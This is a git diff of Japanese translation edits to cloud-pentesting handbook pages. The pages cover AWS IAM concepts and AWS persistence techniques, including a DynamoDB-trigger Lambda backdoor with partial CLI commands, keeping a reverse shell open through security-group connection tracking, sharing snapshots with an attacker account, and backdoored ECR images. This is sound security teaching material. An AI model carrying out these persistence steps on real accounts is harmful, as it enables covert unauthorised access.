-- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。
+- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができます**。
 - **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。
-- **すべてのユーザーを自動的に含むデフォルトのユーザーグループはAWSアカウントには存在しません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。
+- **AWSアカウント内のすべてのユーザーを自動的に含むデフォルトのユーザーグループはありません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。
 - AWSアカウント内のIAMリソースの数とサイズ（グループの数や、ユーザーがメンバーになれるグループの数など）は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。
 
 ### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
-IAM **ロール**は**ユーザー**に非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**（パスワードやアクセスキー）が**ありません**。特定の人に一意に関連付けられるのではなく、ロールは**必要な人（十分な権限を持つ人）が引き受けることを意図しています**。IAMユーザーは、特定のタスクのために一時的に異なる権限を取得するためにロールを**引き受けることができます**。ロールは、IAMの代わりに外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
+IAM **ロール**は**ユーザー**に非常に**似ています**。それは、AWSで何ができるかを決定する**権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**（パスワードやアクセスキー）が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています（十分な権限がある場合）**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を持つことができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。
 
-IAMロールは**2種類のポリシー**で構成されています：**信頼ポリシー**（空であってはならず、**誰がロールを引き受けることができるかを定義**）と、**権限ポリシー**（空であってはならず、**何にアクセスできるかを定義**）。
+IAMロールは、**2種類のポリシー**で構成されています：**信頼ポリシー**（空であってはならず、**誰がロールを引き受けることができるかを定義**）と、**権限ポリシー**（空であってはならず、**何にアクセスできるかを定義**）。
 
 #### AWSセキュリティトークンサービス（STS）
 
-AWSセキュリティトークンサービス（STS）は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に次の目的に特化しています：
+AWSセキュリティトークンサービス（STS）は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に以下の目的に特化しています：
 
 ### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
 
-**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報を要求できます。これにより、**より制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
+**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。
 
 ### ポリシー
 
@@ -163,11 +165,11 @@ AWSセキュリティトークンサービス（STS）は、**一時的で制限
 
 権限を割り当てるために使用されます。2種類あります：
 
-- AWS管理ポリシー（AWSによって事前構成されたもの）
-- カスタマー管理ポリシー：あなたが構成したもの。AWS管理ポリシーに基づいてポリシーを作成できます（そのうちの1つを修正して独自のものを作成する）、ポリシージェネレーターを使用する（権限を付与および拒否するのを助けるGUIビュー）または独自に作成することができます。
+- AWS管理ポリシー（AWSによって事前設定されたもの）
+- カスタマー管理ポリシー：あなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できます（そのうちの1つを修正して自分のものを作成する）、ポリシージェネレーターを使用する（権限を付与および拒否するのを助けるGUIビュー）または自分で書くことができます。
 
-**デフォルトのアクセスは** **拒否されます**。明示的なロールが指定された場合にのみアクセスが許可されます。\
-**単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト（デフォルトで許可されている）は除きます。
+**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\
+**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエスト（デフォルトで許可されている）は除きます。
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -190,31 +192,31 @@ AWSセキュリティトークンサービス（STS）は、**一時的で制限
 ]
 }
 ```
-The [グローバルフィールドは、任意のサービスで条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
-[特定のフィールドは、サービスごとに条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
+[グローバルフィールドは、任意のサービスの条件に使用できることが文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
+[サービスごとに条件に使用できる特定のフィールドはここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
 
 #### インラインポリシー
 
-この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰かが使用できるようにポリシーリストには表示されません。\
-インラインポリシーは、ポリシーとそれが適用されるアイデンティティとの間に**厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
+この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストに表示されません。\
+インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。
 
 #### リソースバケットポリシー
 
-これらは**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
+これらは**リソースに定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。
 
 もし主がそれらに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。
 
 ### IAMバウンダリー
 
-IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、彼がそれらを使用しようとすると操作は**失敗**します。
+IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、操作は**失敗**します。
 
 バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。
 
-**これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
+**これ**、**SCP**および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。
 
 ### セッションポリシー
 
-セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります：これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**（最大の権限はロールが持つものです）。
+セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**です：これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**（最大の権限はロールが持つものです）。
 
 これは**セキュリティ対策**に役立ちます：管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。
 ```bash
@@ -224,18 +226,18 @@ aws sts assume-role \
 [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
 [--policy <file://policy.json>]
 ```
-注意してください、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルト（強化された認証を使用）で、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
+注意として、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは、他の理由から生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで（強化された認証を使用して）、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
 
-したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。
+したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ということです。
 
 ### アイデンティティフェデレーション
 
-アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにし、正当なIAMユーザーアカウントのAWSユーザー資格情報を提供する必要がありません。\
+アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにします。これにより、正当なIAMユーザーアカウントからAWSユーザー資格情報を提供する必要がなくなります。\
 アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**（**SAML**経由）や**OpenID**サービス（**Google**など）があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。
 
-この信頼を構成するために、**IAMアイデンティティプロバイダー（SAMLまたはOAuth）が生成され**、**他のプラットフォームを信頼する**ことになります。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに（信頼される）割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
+この信頼を構成するために、**IAMアイデンティティプロバイダー（SAMLまたはOAuth）が生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに（信頼される）割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。
 
-ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。したがって、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
+ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
 
 <figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
 
@@ -243,7 +245,7 @@ aws sts assume-role \
 
 AWS IAMアイデンティティセンター（AWSシングルサインオンの後継）は、AWSアイデンティティおよびアクセス管理（IAM）の機能を拡張し、**ユーザーとそのAWSアカウントおよびクラウドアプリケーションへのアクセスの管理を統合する**ための**中央の場所**を提供します。
 
-ログインドメインは`<user_input>.awsapps.com`のようになります。
+ログインドメインは、`<user_input>.awsapps.com`のようになります。
 
 ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります：
 
@@ -253,28 +255,28 @@ AWS IAMアイデンティティセンター（AWSシングルサインオンの
 
 <figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
 
-アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。
+アイデンティティセンターのディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。
 
 アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。
 
 #### AwsSSOInlinePolicy
 
-**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
+**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。
 
 したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。
 
 ### クロスアカウントの信頼とロール
 
-**ユーザー**（信頼する側）は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**（信頼される側）に**自分のアカウントにアクセスすることを許可できますが、**新しいロールポリシーで示されたアクセスのみを持つことになります**。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
+**ユーザー**（信頼する側）は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**（信頼される側）に**自分のアカウントにアクセスを許可する**ことができますが、**新しいロールポリシーで示されたアクセスのみを持つ**ことになります。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\
 信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。
 
 ### AWS Simple AD
 
-サポートされていない：
+サポートされていないもの：
 
 - 信頼関係
 - AD管理センター
-- 完全なPS APIサポート
+- フルPS APIサポート
 - ADリサイクルビン
 - グループ管理サービスアカウント
 - スキーマ拡張
@@ -286,10 +288,10 @@ AWS IAMアイデンティティセンター（AWSシングルサインオンの
 
 ### その他のIAMオプション
 
-- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。
-- **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報（ユーザー作成時間、パスワードが有効かどうかなど）を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
+- **パスワードポリシー設定**を設定することができます。最小長やパスワード要件などのオプションがあります。
+- **「資格情報レポート」をダウンロード**することができ、現在の資格情報に関する情報（ユーザー作成時間、パスワードが有効かどうかなど）を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。
 
-AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。
+AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか**、およびどの条件下でアクセスできるかを指定できます。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保**します。
 
 ### IAM IDプレフィックス
 
@@ -307,7 +309,7 @@ AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体
 | APKA | 公開鍵                                                                                                                                                                                                           |
 | AROA | ロール                                                                                                                                                                                                                 |
 | ASCA | 証明書                                                                                                                                                                                                          |
-| ASIA | [一時的（AWS STS）アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーとセッショントークンと組み合わせた場合にのみ一意です。 |
+| ASIA | [一時的（AWS STS）アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーおよびセッショントークンと組み合わせた場合にのみ一意です。 |
 
 ### アカウントを監査するための推奨権限
 
@@ -327,7 +329,7 @@ AWSアイデンティティおよびアクセス管理（IAM）は、AWS全体
 ### CLI認証
 
 通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\
-そのファイルには複数のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\
+そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**`[default]`**と呼ばれるものがそのファイルで使用されます。\
 複数のプロファイルを持つ資格情報ファイルの例：
 ```
 [default]
@@ -339,9 +341,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
 aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
 region = eu-west-2
 ```
-もし**異なるAWSアカウント**にアクセスする必要があり、あなたのプロファイルが**それらのアカウント内でロールを引き受ける**アクセスを与えられている場合、毎回手動でSTSを呼び出す必要はありません（`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`）し、資格情報を設定する必要もありません。
+異なる **AWS アカウント** にアクセスする必要があり、あなたのプロファイルが **それらのアカウント内でロールを引き受ける** アクセスを与えられている場合、毎回手動で STS を呼び出す必要はありません (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) と資格情報を設定する必要はありません。
 
-`~/.aws/config`ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り`--profile`パラメータを使用できます（`assume-role`はユーザーにとって透過的に実行されます）。\
+`~/.aws/config` ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り `--profile` パラメータを使用できます（`assume-role` はユーザーにとって透過的に実行されます）。\
 設定ファイルの例:
 ```
 [profile acc2]
@@ -351,11 +353,11 @@ role_session_name = <session_name>
 source_profile = <profile_with_assume_role>
 sts_regional_endpoints = regional
 ```
-この設定ファイルを使用すると、aws cliを次のように使用できます:
+この設定ファイルを使用すると、次のようにaws cliを使用できます:
 ```
 aws --profile acc2 ...
 ```
-もしあなたが**ブラウザ**用の**類似**のものを探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます。
+ブラウザ用のこれに**似た**ものを探している場合は、**拡張機能** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) をチェックしてください。
 
 ## 参考文献
 

src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md

@@ -10,7 +10,7 @@ SAMLに関する情報は以下を確認してください：
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
 {{#endref}}
 
-**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成（**エンドポイント**、**公開鍵**を含む**証明書**）を含む**メタデータXML**を提供するだけです。
+**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成（**エンドポイント**、**公開鍵を含む証明書**）を含む**メタデータXML**を提供するだけです。
 
 ## OIDC - Github Actions Abuse
 
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
 # Create an Identity Provider for an EKS cluster
 eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ```
-**OIDCプロバイダー**を**EKS**クラスターで生成することは、クラスターの**OIDC URL**を**新しいOpen IDアイデンティティプロバイダー**として設定するだけで可能です。これは一般的なデフォルトポリシーです：
+**EKS** クラスターで **OIDC プロバイダー** を生成することは、クラスターの **OIDC URL** を **新しい Open ID アイデンティティプロバイダー** として設定するだけで可能です。これは一般的なデフォルトポリシーです：
 ```json
 {
 "Version": "2012-10-17",
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ]
 }
 ```
-このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ということになります。
+このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ことになります。
 
 **どのサービスアカウントがロールを引き受けることができるかを指定するためには、** **サービスアカウント名が指定される** **条件** を指定する必要があります。
 ```bash

src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md

@@ -1,4 +1,4 @@
-# AWS - Permissions for a Pentest
+# AWS - Pentestのための権限
 
 {{#include ../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -10,21 +10,21 @@
 ../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### リソースポリシー
+### Resource Policy
 
 APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。
 
-### Lambdaオーソライザーの変更
+### Modify Lambda Authorizers
 
-Lambdaオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
+ラムダオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
 または、オーソライザーの使用を単に削除します。
 
-### IAM権限
+### IAM Permissions
 
 リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\
 または、オーソライザーの使用を単に削除します。
 
-### APIキー
+### API Keys
 
 APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\
 または、APIキーの使用を単に削除します。

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -18,10 +18,10 @@ Cognitoは、認証されていないユーザーと認証されたユーザー
 - 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する**
 - 攻撃者がログインできる場合は**認証されたアイデンティティプール**に
 - または与えられたロールの**権限を向上させる**
-- **ユーザープール**内の属性を制御されたユーザーまたは新しいユーザーを通じて**作成、検証、権限昇格**する
+- **属性を制御されたユーザーまたは新しいユーザーを作成、検証、権限昇格**する**ユーザープール**内で
 - **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする
 
-これらのアクションを実行する方法を確認してください：
+これらのアクションを実行する方法を確認してください
 
 {{#ref}}
 ../aws-privilege-escalation/aws-cognito-privesc.md

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -12,7 +12,7 @@
 
 ### DynamoDB トリガーと Lambda バックドア
 
-DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることにより、**隠れたバックドア**を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
+DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることによって **ステルスバックドア** を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
 ```bash
 # Create a malicious Lambda function
 aws lambda create-function \
@@ -34,7 +34,7 @@ aws lambda create-event-source-mapping \
 --event-source <STREAM_ARN> \
 --region <region>
 ```
-永続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的な相互作用なしにAWSアカウント内でコードを実行することができます。
+持続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的なやり取りなしにAWSアカウント内でコードを実行することができます。
 
 ### DynamoDBをC2チャネルとして使用する
 

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -12,13 +12,13 @@
 
 ### セキュリティグループ接続追跡持続性
 
-防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**マシンのネットワークを隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます（ただし、NACLはサブネット全体に影響します）、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
+防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**ネットワーク**を**隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます（ただし、NACLはサブネット全体に影響します）、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
 
 攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。**
 
 ### EC2ライフサイクルマネージャー
 
-このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことも可能です。\
+このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことを可能にします。\
 攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。
 
 ### スケジュールされたインスタンス
@@ -27,21 +27,21 @@
 
 ### スポットフリートリクエスト
 
-スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**立ち上げることができ、**自動IP**割り当てと、スポットインスタンスが**開始されたときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
+スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**起動することができ、**自動IP**割り当てと、スポットインスタンスが**起動したときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
 
 ### バックドアインスタンス
 
 攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます：
 
-- 例えば、従来の**ルートキット**を使用する
+- 伝統的な**ルートキット**を使用する例
 - 新しい**公開SSHキー**を追加する（[EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認）
-- **ユーザーデータ**をバックドア化する
+- **ユーザーデータ**にバックドアを仕掛ける
 
 ### **バックドア起動構成**
 
-- 使用されるAMIをバックドア化する
-- ユーザーデータをバックドア化する
-- キーペアをバックドア化する
+- 使用されるAMIにバックドアを仕掛ける
+- ユーザーデータにバックドアを仕掛ける
+- キーペアにバックドアを仕掛ける
 
 ### VPN
 

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -4,7 +4,7 @@
 
 ## ECR
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-ecr-enum.md
@@ -12,7 +12,7 @@
 
 ### 悪意のあるコードを含む隠れたDockerイメージ
 
-攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットのAWSアカウントで持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルスにデプロイすることができます。
+攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットAWSアカウントでの持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルス方式でデプロイすることができます。
 
 ### リポジトリポリシー
 
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
 }
 ```
 > [!WARNING]
-> ECRを使用するには、ユーザーが**`ecr:GetAuthorizationToken`** APIを呼び出すための**権限**をIAMポリシーで持っている必要があります。**これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。**
+> ECRを使用するには、ユーザーがIAMポリシーを通じて**`ecr:GetAuthorizationToken`** APIを呼び出す**権限**を持っている必要があります。これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。
 
 ### レジストリポリシーとクロスアカウントレプリケーション
 
